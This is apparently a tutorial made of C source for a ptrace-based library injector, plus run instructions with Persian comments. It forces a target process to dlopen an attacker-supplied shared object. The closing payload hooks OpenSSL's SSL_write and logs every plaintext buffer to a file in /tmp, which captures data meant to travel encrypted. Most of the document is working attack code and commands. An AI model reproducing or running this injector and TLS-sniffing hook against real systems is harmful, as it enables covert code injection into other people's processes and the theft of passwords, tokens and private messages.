#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <dlfcn.h>
#include <elf.h>
#include <link.h>

void* find_remote_function_address(pid_t target_pid, const char* lib_name, const char* func_name) {
    void* local_handle = dlopen(lib_name, RTLD_LAZY);
    if (!local_handle) return NULL;
    void* local_addr = dlsym(local_handle, func_name);
    if (!local_addr) { dlclose(local_handle); return NULL; }
    Dl_info info;
    if (!dladdr(local_addr, &info)) { dlclose(local_handle); return NULL; }
    dlclose(local_handle);
    long offset = (long)local_addr - (long)info.dli_fbase;
    char maps_path[256];
    sprintf(maps_path, "/proc/%d/maps", target_pid);
    FILE* maps_file = fopen(maps_path, "r");
    if (!maps_file) return NULL;
    char line[512];
    void* remote_base_addr = NULL;
    while (fgets(line, sizeof(line), maps_file)) {
        if (strstr(line, lib_name) && strstr(line, "r-xp")) {
            sscanf(line, "%p-%*p", &remote_base_addr);
            break;
        }
    }
    fclose(maps_file);
    if (!remote_base_addr) return NULL;
    return (void*)((long)remote_base_addr + offset);
}

int write_to_process_memory(pid_t pid, void* addr, const char* data, size_t len) {
    for (size_t i = 0; i < len; i += sizeof(long)) {
        long word = 0;
        memcpy(&word, data + i, sizeof(long));
        if (ptrace(PTRACE_POKETEXT, pid, (char*)addr + i, word) == -1) {
            perror("PTRACE_POKETEXT");
            return -1;
        }
    }
    return 0;
}

int main(int argc, char* argv[]) {
    if (argc != 3) {
        fprintf(stderr, "Usage: %s <pid> <path_to_so>\n", argv[0]);
        return 1;
    }
    pid_t target_pid = atoi(argv[1]);
    char* so_path = argv[2];
    printf("-> Targeting PID: %d\n", target_pid);
    printf("-> Attaching to process...\n");
    if (ptrace(PTRACE_ATTACH, target_pid, NULL, NULL) == -1) { perror("PTRACE_ATTACH"); return 1; }
    waitpid(target_pid, NULL, WUNTRACED);
    printf("-> Finding address of dlopen...\n");
    void* remote_dlopen_addr = find_remote_function_address(target_pid, "libc.so.6", "__libc_dlopen_mode");
    if (!remote_dlopen_addr) {
        fprintf(stderr, "Error: Could not find address of dlopen.\n");
        ptrace(PTRACE_DETACH, target_pid, NULL, NULL);
        return 1;
    }
    printf("-> Remote dlopen address: %p\n", remote_dlopen_addr);
    struct user_regs_struct old_regs, regs;
    if (ptrace(PTRACE_GETREGS, target_pid, NULL, &old_regs) == -1) { perror("PTRACE_GETREGS"); ptrace(PTRACE_DETACH, target_pid, NULL, NULL); return 1; }
    memcpy(&regs, &old_regs, sizeof(struct user_regs_struct));
    void* remote_stack_addr = (void*)(regs.rsp - strlen(so_path) - 1);
    printf("-> Writing payload path to remote stack at %p\n", remote_stack_addr);
    write_to_process_memory(target_pid, remote_stack_addr, so_path, strlen(so_path) + 1);
    regs.rdi = (unsigned long long)remote_stack_addr;
    regs.rsi = RTLD_LAZY;
    regs.rip = (unsigned long long)remote_dlopen_addr;
    printf("-> Executing remote call to dlopen...\n");
    if (ptrace(PTRACE_SETREGS, target_pid, NULL, &regs) == -1) { perror("PTRACE_SETREGS"); ptrace(PTRACE_DETACH, target_pid, NULL, NULL); return 1; }
    if (ptrace(PTRACE_CONT, target_pid, NULL, NULL) == -1) { perror("PTRACE_CONT"); return 1; }
    waitpid(target_pid, NULL, WUNTRACED);
    printf("-> Remote call finished. Restoring state...\n");
    ptrace(PTRACE_GETREGS, target_pid, NULL, &regs);
    if (regs.rax == 0) { fprintf(stderr, "Error: Remote dlopen call failed.\n"); }
    else { printf("-> Injection successful! Handle: %llx\n", regs.rax); }
    if (ptrace(PTRACE_SETREGS, target_pid, NULL, &old_regs) == -1) { perror("PTRACE_SETREGS (restore)"); }
    printf("-> Detaching from process.\n");
    ptrace(PTRACE_DETACH, target_pid, NULL, NULL);
    return 0;
}

gcc injector.c -o injector -ldl
    

sleep 1000 &

# [1] 12345  <-- این PID فرآیند هدف شماست
    

sudo ./injector 12345 $(pwd)/payload.so
    

cat /tmp/injection_log.txt

# خروجی: Library injected successfully into process with PID: 12345
    

#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#include <openssl/ssl.h>

static int (*original_SSL_write)(SSL *ssl, const void *buf, int num);

int SSL_write(SSL *ssl, const void *buf, int num) {

    if (!original_SSL_write) {
        original_SSL_write = dlsym(RTLD_NEXT, "SSL_write");
    }

    FILE *log = fopen("/tmp/ssl_log.txt", "a");
    if (log) {
        fwrite(buf, 1, num, log);
        fclose(log);
    }

    return original_SSL_write(ssl, buf, num);
}